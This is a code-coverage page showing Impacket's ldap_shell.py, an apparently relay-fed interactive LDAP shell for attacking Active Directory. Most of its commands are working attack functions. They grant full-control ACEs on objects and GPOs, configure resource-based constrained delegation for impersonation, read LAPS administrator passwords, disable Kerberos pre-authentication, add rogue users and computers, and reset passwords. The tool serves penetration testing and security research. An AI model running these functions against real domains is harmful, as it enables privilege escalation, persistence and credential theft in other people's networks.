Coverage for /root/GitHubProjects/impacket/impacket/examples/ldap_shell.py : 8%

Hot-keys on this page
r m x p toggle line displays
j k next/prev highlighted chunk
0 (zero) top of page
1 (one) first highlighted chunk
1# Impacket - Collection of Python classes for working with network protocols.
2#
3# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.
4#
5# This software is provided under a slightly modified version
6# of the Apache Software License. See the accompanying LICENSE file
7# for more information.
8#
9# Description:
10# Mini shell using some of the LDAP functionalities of the library
11#
12# Author:
13# Mathieu Gascon-Lefebvre (@mlefebvre)
14#
15import re
16import string
17import sys
18import cmd
19import random
20import ldap3
21from ldap3.core.results import RESULT_UNWILLING_TO_PERFORM
22from ldap3.utils.conv import escape_filter_chars
23from six import PY2
24import shlex
25from impacket import LOG
26from ldap3.protocol.microsoft import security_descriptor_control
27from impacket.ldap.ldaptypes import ACCESS_ALLOWED_OBJECT_ACE, ACCESS_MASK, ACCESS_ALLOWED_ACE, ACE, OBJECTTYPE_GUID_MAP
28from impacket.ldap import ldaptypes
31class LdapShell(cmd.Cmd):
32 LDAP_MATCHING_RULE_IN_CHAIN = "1.2.840.113556.1.4.1941"
34 def __init__(self, tcp_shell, domain_dumper, client):
35 cmd.Cmd.__init__(self, stdin=tcp_shell.stdin, stdout=tcp_shell.stdout)
37 if PY2:
38 # switch to unicode.
39 reload(sys) # noqa: F821 pylint:disable=undefined-variable
40 sys.setdefaultencoding('utf8')
42 sys.stdout = tcp_shell.stdout
43 sys.stdin = tcp_shell.stdin
44 sys.stderr = tcp_shell.stdout
45 self.use_rawinput = False
46 self.shell = tcp_shell
48 self.prompt = '\n# '
49 self.tid = None
50 self.intro = 'Type help for list of commands'
51 self.loggedIn = True
52 self.last_output = None
53 self.completion = []
54 self.client = client
55 self.domain_dumper = domain_dumper
57 def emptyline(self):
58 pass
60 def onecmd(self, s):
61 ret_val = False
62 try:
63 ret_val = cmd.Cmd.onecmd(self, s)
64 except Exception as e:
65 print(e)
66 LOG.error(e)
67 LOG.debug('Exception info', exc_info=True)
69 return ret_val
71 def create_empty_sd(self):
72 sd = ldaptypes.SR_SECURITY_DESCRIPTOR()
73 sd['Revision'] = b'\x01'
74 sd['Sbz1'] = b'\x00'
75 sd['Control'] = 32772
76 sd['OwnerSid'] = ldaptypes.LDAP_SID()
77 # BUILTIN\Administrators
78 sd['OwnerSid'].fromCanonical('S-1-5-32-544')
79 sd['GroupSid'] = b''
80 sd['Sacl'] = b''
81 acl = ldaptypes.ACL()
82 acl['AclRevision'] = 4
83 acl['Sbz1'] = 0
84 acl['Sbz2'] = 0
85 acl.aces = []
86 sd['Dacl'] = acl
87 return sd
89 def create_allow_ace(self, sid):
90 nace = ldaptypes.ACE()
91 nace['AceType'] = ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE
92 nace['AceFlags'] = 0x00
93 acedata = ldaptypes.ACCESS_ALLOWED_ACE()
94 acedata['Mask'] = ldaptypes.ACCESS_MASK()
95 acedata['Mask']['Mask'] = 983551 # Full control
96 acedata['Sid'] = ldaptypes.LDAP_SID()
97 acedata['Sid'].fromCanonical(sid)
98 nace['Ace'] = acedata
99 return nace
101 def do_write_gpo_dacl(self, line):
102 args = shlex.split(line)
103 print ("Adding %s to GPO with GUID %s" % (args[0], args[1]))
104 if len(args) != 2:
105 raise Exception("A samaccountname and GPO sid are required.")
107 tgtUser = args[0]
108 gposid = args[1]
109 self.client.search(self.domain_dumper.root, '(&(objectclass=person)(sAMAccountName=%s))' % tgtUser, attributes=['objectSid'])
110 if len( self.client.entries) <= 0:
111 raise Exception("Didnt find the given user")
113 user = self.client.entries[0]
115 controls = security_descriptor_control(sdflags=0x04)
116 self.client.search(self.domain_dumper.root, '(&(objectclass=groupPolicyContainer)(name=%s))' % gposid, attributes=['objectSid','nTSecurityDescriptor'], controls=controls)
118 if len( self.client.entries) <= 0:
119 raise Exception("Didnt find the given gpo")
120 gpo = self.client.entries[0]
122 secDescData = gpo['nTSecurityDescriptor'].raw_values[0]
123 secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData)
124 newace = self.create_allow_ace(str(user['objectSid']))
125 secDesc['Dacl']['Data'].append(newace)
126 data = secDesc.getData()
128 self.client.modify(gpo.entry_dn, {'nTSecurityDescriptor':(ldap3.MODIFY_REPLACE, [data])}, controls=controls)
129 if self.client.result["result"] == 0:
130 print('LDAP server claims to have taken the secdescriptor. Have fun')
131 else:
132 raise Exception("Something wasnt right: %s" %str(self.client.result['description']))
134 def do_add_computer(self, line):
135 args = shlex.split(line)
137 if not self.client.server.ssl:
138 print("Error adding a new computer with LDAP requires LDAPS.")
140 if len(args) != 1 and len(args) != 2:
141 raise Exception("Error expected a computer name and an optional password argument.")
143 computer_name = args[0]
144 if not computer_name.endswith('$'):
145 computer_name += '$'
147 print("Attempting to add a new computer with the name: %s" % computer_name)
149 password = ""
150 if len(args) == 1:
151 password = ''.join(random.choice(string.ascii_letters + string.digits + string.punctuation) for _ in range(15))
152 else:
153 password = args[1]
155 domain_dn = self.domain_dumper.root
156 domain = re.sub(',DC=', '.', domain_dn[domain_dn.find('DC='):], flags=re.I)[3:]
158 print("Inferred Domain DN: %s" % domain_dn)
159 print("Inferred Domain Name: %s" % domain)
161 computer_hostname = computer_name[:-1] # Remove $ sign
162 computer_dn = "CN=%s,CN=Computers,%s" % (computer_hostname, self.domain_dumper.root)
163 print("New Computer DN: %s" % computer_dn)
165 spns = [
166 'HOST/%s' % computer_hostname,
167 'HOST/%s.%s' % (computer_hostname, domain),
168 'RestrictedKrbHost/%s' % computer_hostname,
169 'RestrictedKrbHost/%s.%s' % (computer_hostname, domain),
170 ]
171 ucd = {
172 'dnsHostName': '%s.%s' % (computer_hostname, domain),
173 'userAccountControl': 4096,
174 'servicePrincipalName': spns,
175 'sAMAccountName': computer_name,
176 'unicodePwd': '"{}"'.format(password).encode('utf-16-le')
177 }
179 res = self.client.add(computer_dn, ['top','person','organizationalPerson','user','computer'], ucd)
181 if not res:
182 if self.client.result['result'] == RESULT_UNWILLING_TO_PERFORM:
183 print("Failed to add a new computer. The server denied the operation.")
184 else:
185 print('Failed to add a new computer: %s' % str(self.client.result))
186 else:
187 print('Adding new computer with username: %s and password: %s result: OK' % (computer_name, password))
189 def do_add_user(self, line):
190 args = shlex.split(line)
191 if len(args) == 0:
192 raise Exception("A username is required.")
194 new_user = args[0]
195 if len(args) == 1:
196 parent_dn = 'CN=Users,%s' % self.domain_dumper.root
197 else:
198 parent_dn = args[1]
200 new_password = ''.join(random.choice(string.ascii_letters + string.digits + string.punctuation) for _ in range(15))
202 new_user_dn = 'CN=%s,%s' % (new_user, parent_dn)
203 ucd = {
204 'objectCategory': 'CN=Person,CN=Schema,CN=Configuration,%s' % self.domain_dumper.root,
205 'distinguishedName': new_user_dn,
206 'cn': new_user,
207 'sn': new_user,
208 'givenName': new_user,
209 'displayName': new_user,
210 'name': new_user,
211 'userAccountControl': 512,
212 'accountExpires': '0',
213 'sAMAccountName': new_user,
214 'unicodePwd': '"{}"'.format(new_password).encode('utf-16-le')
215 }
217 print('Attempting to create user in: %s', parent_dn)
218 res = self.client.add(new_user_dn, ['top', 'person', 'organizationalPerson', 'user'], ucd)
219 if not res:
220 if self.client.result['result'] == RESULT_UNWILLING_TO_PERFORM and not self.client.server.ssl:
221 raise Exception('Failed to add a new user. The server denied the operation. Try relaying to LDAP with TLS enabled (ldaps) or escalating an existing user.')
222 else:
223 raise Exception('Failed to add a new user: %s' % str(self.client.result['description']))
224 else:
225 print('Adding new user with username: %s and password: %s result: OK' % (new_user, new_password))
227 def do_add_user_to_group(self, line):
228 user_name, group_name = shlex.split(line)
230 user_dn = self.get_dn(user_name)
231 if not user_dn:
232 raise Exception("User not found in LDAP: %s" % user_name)
234 group_dn = self.get_dn(group_name)
235 if not group_dn:
236 raise Exception("Group not found in LDAP: %s" % group_name)
238 user_name = user_dn.split(',')[0][3:]
239 group_name = group_dn.split(',')[0][3:]
241 res = self.client.modify(group_dn, {'member': [(ldap3.MODIFY_ADD, [user_dn])]})
242 if res:
243 print('Adding user: %s to group %s result: OK' % (user_name, group_name))
244 else:
245 raise Exception('Failed to add user to %s group: %s' % (group_name, str(self.client.result['description'])))
247 def do_change_password(self, line):
248 args = shlex.split(line)
250 if len(args) != 1 and len(args) != 2:
251 raise Exception("Error expected a username and an optional password argument. Instead %d arguments were provided" % len(args))
253 user_dn = self.get_dn(args[0])
254 print("Got User DN: " + user_dn)
256 password = ""
257 if len(args) == 1:
258 password = ''.join(random.choice(string.ascii_letters + string.digits + string.punctuation) for _ in range(15))
259 else:
260 password = args[1]
262 print("Attempting to set new password of: %s" % password)
263 success = self.client.extend.microsoft.modify_password(user_dn, password)
265 if self.client.result['result'] == 0:
266 print('Password changed successfully!')
267 else:
268 if self.client.result['result'] == 50:
269 raise Exception('Could not modify object, the server reports insufficient rights: %s', self.client.result['message'])
270 elif self.client.result['result'] == 19:
271 raise Exception('Could not modify object, the server reports a constrained violation: %s', self.client.result['message'])
272 else:
273 raise Exception('The server returned an error: %s', self.client.result['message'])
275 def do_clear_rbcd(self, computer_name):
277 success = self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(computer_name), attributes=['objectSid', 'msDS-AllowedToActOnBehalfOfOtherIdentity'])
278 if success is False or len(self.client.entries) != 1:
279 raise Exception("Error expected only one search result got %d results", len(self.client.entries))
281 target = self.client.entries[0]
282 target_sid = target["objectsid"].value
283 print("Found Target DN: %s" % target.entry_dn)
284 print("Target SID: %s\n" % target_sid)
286 sd = self.create_empty_sd()
288 self.client.modify(target.entry_dn, {'msDS-AllowedToActOnBehalfOfOtherIdentity':[ldap3.MODIFY_REPLACE, [sd.getData()]]})
289 if self.client.result['result'] == 0:
290 print('Delegation rights cleared successfully!')
291 else:
292 if self.client.result['result'] == 50:
293 raise Exception('Could not modify object, the server reports insufficient rights: %s', self.client.result['message'])
294 elif self.client.result['result'] == 19:
295 raise Exception('Could not modify object, the server reports a constrained violation: %s', self.client.result['message'])
296 else:
297 raise Exception('The server returned an error: %s', self.client.result['message'])
299 def do_dump(self, line):
300 print('Dumping domain info...')
301 self.stdout.flush()
302 self.domain_dumper.domainDump()
303 print('Domain info dumped into lootdir!')
305 def do_disable_account(self, username):
306 self.toggle_account_enable_disable(username, False)
308 def do_enable_account(self, username):
309 self.toggle_account_enable_disable(username, True)
311 def toggle_account_enable_disable(self, user_name, enable):
312 UF_ACCOUNT_DISABLE = 2
313 self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(user_name), attributes=['objectSid', 'userAccountControl'])
315 if len(self.client.entries) != 1:
316 raise Exception("Error expected only one search result got %d results", len(self.client.entries))
318 user_dn = self.client.entries[0].entry_dn
319 if not user_dn:
320 raise Exception("User not found in LDAP: %s" % user_name)
322 entry = self.client.entries[0]
323 userAccountControl = entry["userAccountControl"].value
325 print("Original userAccountControl: %d" % userAccountControl)
327 if enable:
328 userAccountControl = userAccountControl & ~UF_ACCOUNT_DISABLE
329 else:
330 userAccountControl = userAccountControl | UF_ACCOUNT_DISABLE
332 self.client.modify(user_dn, {'userAccountControl':(ldap3.MODIFY_REPLACE, [userAccountControl])})
334 if self.client.result['result'] == 0:
335 print("Updated userAccountControl attribute successfully")
336 else:
337 if self.client.result['result'] == 50:
338 raise Exception('Could not modify object, the server reports insufficient rights: %s', self.client.result['message'])
339 elif self.client.result['result'] == 19:
340 raise Exception('Could not modify object, the server reports a constrained violation: %s', self.client.result['message'])
341 else:
342 raise Exception('The server returned an error: %s', self.client.result['message'])
344 def do_search(self, line):
345 arguments = shlex.split(line)
346 if len(arguments) == 0:
347 raise Exception("A query is required.")
349 filter_attributes = ['name', 'distinguishedName', 'sAMAccountName']
350 attributes = filter_attributes[:]
351 attributes.append('objectSid')
352 for argument in arguments[1:]:
353 attributes.append(argument)
355 search_query = "".join("(%s=*%s*)" % (attribute, escape_filter_chars(arguments[0])) for attribute in filter_attributes)
356 self.search('(|%s)' % search_query, *attributes)
358 def do_set_dontreqpreauth(self, line):
359 UF_DONT_REQUIRE_PREAUTH = 4194304
361 args = shlex.split(line)
362 if len(args) != 2:
363 raise Exception("Username (SAMAccountName) and true/false flag required (e.g. jsmith true).")
365 user_name = args[0]
366 flag_str = args[1]
367 flag = False
369 if flag_str.lower() == "true":
370 flag = True
371 elif flag_str.lower() == "false":
372 flag = False
373 else:
374 raise Exception("The specified flag must be either true or false")
376 self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(user_name), attributes=['objectSid', 'userAccountControl'])
377 if len(self.client.entries) != 1:
378 raise Exception("Error expected only one search result got %d results", len(self.client.entries))
380 user_dn = self.client.entries[0].entry_dn
381 if not user_dn:
382 raise Exception("User not found in LDAP: %s" % user_name)
384 entry = self.client.entries[0]
385 userAccountControl = entry["userAccountControl"].value
386 print("Original userAccountControl: %d" % userAccountControl)
388 if flag:
389 userAccountControl = userAccountControl | UF_DONT_REQUIRE_PREAUTH
390 else:
391 userAccountControl = userAccountControl & ~UF_DONT_REQUIRE_PREAUTH
393 print("Updated userAccountControl: %d" % userAccountControl)
394 self.client.modify(user_dn, {'userAccountControl':(ldap3.MODIFY_REPLACE, [userAccountControl])})
396 if self.client.result['result'] == 0:
397 print("Updated userAccountControl attribute successfully")
398 else:
399 if self.client.result['result'] == 50:
400 raise Exception('Could not modify object, the server reports insufficient rights: %s', self.client.result['message'])
401 elif self.client.result['result'] == 19:
402 raise Exception('Could not modify object, the server reports a constrained violation: %s', self.client.result['message'])
403 else:
404 raise Exception('The server returned an error: %s', self.client.result['message'])
406 def do_get_user_groups(self, user_name):
407 user_dn = self.get_dn(user_name)
408 if not user_dn:
409 raise Exception("User not found in LDAP: %s" % user_name)
411 self.search('(member:%s:=%s)' % (LdapShell.LDAP_MATCHING_RULE_IN_CHAIN, escape_filter_chars(user_dn)))
413 def do_get_group_users(self, group_name):
414 group_dn = self.get_dn(group_name)
415 if not group_dn:
416 raise Exception("Group not found in LDAP: %s" % group_name)
418 self.search('(memberof:%s:=%s)' % (LdapShell.LDAP_MATCHING_RULE_IN_CHAIN, escape_filter_chars(group_dn)), "sAMAccountName", "name")
420 def do_get_laps_password(self, computer_name):
422 self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(computer_name), attributes=['ms-MCS-AdmPwd'])
423 if len(self.client.entries) != 1:
424 raise Exception("Error expected only one search result got %d results", len(self.client.entries))
426 computer = self.client.entries[0]
427 print("Found Computer DN: %s" % computer.entry_dn)
429 password = computer["ms-MCS-AdmPwd"].value
431 if password is not None:
432 print("LAPS Password: %s" % password)
433 else:
434 print("Unable to Read LAPS Password for Computer")
436 def do_grant_control(self, line):
437 args = shlex.split(line)
439 if len(args) != 1 and len(args) != 2:
440 raise Exception("Error expecting target and grantee names for RBCD attack. Recieved %d arguments instead." % len(args))
442 controls = security_descriptor_control(sdflags=0x04)
444 target_name = args[0]
445 grantee_name = args[1]
447 success = self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(target_name), attributes=['objectSid', 'nTSecurityDescriptor'], controls=controls)
448 if success is False or len(self.client.entries) != 1:
449 raise Exception("Error expected only one search result got %d results", len(self.client.entries))
451 target = self.client.entries[0]
452 target_sid = target["objectSid"].value
453 print("Found Target DN: %s" % target.entry_dn)
454 print("Target SID: %s\n" % target_sid)
456 success = self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(grantee_name), attributes=['objectSid'])
457 if success is False or len(self.client.entries) != 1:
458 raise Exception("Error expected only one search result got %d results", len(self.client.entries))
460 grantee = self.client.entries[0]
461 grantee_sid = grantee["objectSid"].value
462 print("Found Grantee DN: %s" % grantee.entry_dn)
463 print("Grantee SID: %s" % grantee_sid)
465 try:
466 sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=target['nTSecurityDescriptor'].raw_values[0])
467 except IndexError:
468 sd = self.create_empty_sd()
470 sd['Dacl'].aces.append(self.create_allow_ace(grantee_sid))
471 self.client.modify(target.entry_dn, {'nTSecurityDescriptor':[ldap3.MODIFY_REPLACE, [sd.getData()]]}, controls=controls)
473 if self.client.result['result'] == 0:
474 print('DACL modified successfully!')
475 print('%s now has control of %s' % (grantee_name, target_name))
476 else:
477 if self.client.result['result'] == 50:
478 raise Exception('Could not modify object, the server reports insufficient rights: %s', self.client.result['message'])
479 elif self.client.result['result'] == 19:
480 raise Exception('Could not modify object, the server reports a constrained violation: %s', self.client.result['message'])
481 else:
482 raise Exception('The server returned an error: %s', self.client.result['message'])
484 def do_set_rbcd(self, line):
485 args = shlex.split(line)
487 if len(args) != 1 and len(args) != 2:
488 raise Exception("Error expecting target and grantee names for RBCD attack. Recieved %d arguments instead." % len(args))
490 target_name = args[0]
491 grantee_name = args[1]
493 target_sid = args[0]
494 grantee_sid = args[1]
496 success = self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(target_name), attributes=['objectSid', 'msDS-AllowedToActOnBehalfOfOtherIdentity'])
497 if success is False or len(self.client.entries) != 1:
498 raise Exception("Error expected only one search result got %d results", len(self.client.entries))
500 target = self.client.entries[0]
501 target_sid = target["objectSid"].value
502 print("Found Target DN: %s" % target.entry_dn)
503 print("Target SID: %s\n" % target_sid)
505 success = self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(grantee_name), attributes=['objectSid'])
506 if success is False or len(self.client.entries) != 1:
507 raise Exception("Error expected only one search result got %d results", len(self.client.entries))
509 grantee = self.client.entries[0]
510 grantee_sid = grantee["objectSid"].value
511 print("Found Grantee DN: %s" % grantee.entry_dn)
512 print("Grantee SID: %s" % grantee_sid)
514 try:
515 sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=target['msDS-AllowedToActOnBehalfOfOtherIdentity'].raw_values[0])
516 print('Currently allowed sids:')
517 for ace in sd['Dacl'].aces:
518 print(' %s' % ace['Ace']['Sid'].formatCanonical())
520 if ace['Ace']['Sid'].formatCanonical() == grantee_sid:
521 print("Grantee is already permitted to perform delegation to the target host")
522 return
524 except IndexError:
525 sd = self.create_empty_sd()
527 sd['Dacl'].aces.append(self.create_allow_ace(grantee_sid))
528 self.client.modify(target.entry_dn, {'msDS-AllowedToActOnBehalfOfOtherIdentity':[ldap3.MODIFY_REPLACE, [sd.getData()]]})
530 if self.client.result['result'] == 0:
531 print('Delegation rights modified successfully!')
532 print('%s can now impersonate users on %s via S4U2Proxy' % (grantee_name, target_name))
533 else:
534 if self.client.result['result'] == 50:
535 raise Exception('Could not modify object, the server reports insufficient rights: %s', self.client.result['message'])
536 elif self.client.result['result'] == 19:
537 raise Exception('Could not modify object, the server reports a constrained violation: %s', self.client.result['message'])
538 else:
539 raise Exception('The server returned an error: %s', self.client.result['message'])
541 def search(self, query, *attributes):
542 self.client.search(self.domain_dumper.root, query, attributes=attributes)
543 for entry in self.client.entries:
544 print(entry.entry_dn)
545 for attribute in attributes:
546 value = entry[attribute].value
547 if value:
548 print("%s: %s" % (attribute, entry[attribute].value))
549 if any(attributes):
550 print("---")
552 def get_dn(self, sam_name):
553 if "," in sam_name:
554 return sam_name
556 try:
557 self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(sam_name), attributes=['objectSid'])
558 return self.client.entries[0].entry_dn
559 except IndexError:
560 return None
562 def do_exit(self, line):
563 if self.shell is not None:
564 self.shell.close()
565 return True
567 def do_help(self, line):
568 print("""
569 add_computer computer [password] - Adds a new computer to the domain with the specified password. Requires LDAPS.
570 add_user new_user [parent] - Creates a new user.
571 add_user_to_group user group - Adds a user to a group.
572 change_password user [password] - Attempt to change a given user's password. Requires LDAPS.
573 clear_rbcd target - Clear the resource based constrained delegation configuration information.
574 disable_account user - Disable the user's account.
575 enable_account user - Enable the user's account.
576 dump - Dumps the domain.
577 search query [attributes,] - Search users and groups by name, distinguishedName and sAMAccountName.
578 get_user_groups user - Retrieves all groups this user is a member of.
579 get_group_users group - Retrieves all members of a group.
580 get_laps_password computer - Retrieves the LAPS passwords associated with a given computer (sAMAccountName).
581 grant_control target grantee - Grant full control of a given target object (sAMAccountName) to the grantee (sAMAccountName).
582 set_dontreqpreauth user true/false - Set the don't require pre-authentication flag to true or false.
583 set_rbcd target grantee - Grant the grantee (sAMAccountName) the ability to perform RBCD to the target (sAMAccountName).
584 write_gpo_dacl user gpoSID - Write a full control ACE to the gpo for the given user. The gpoSID must be entered surrounding by {}.
585 exit - Terminates this session.""")
587 def do_EOF(self, line):
588 print('Bye!\n')
589 return True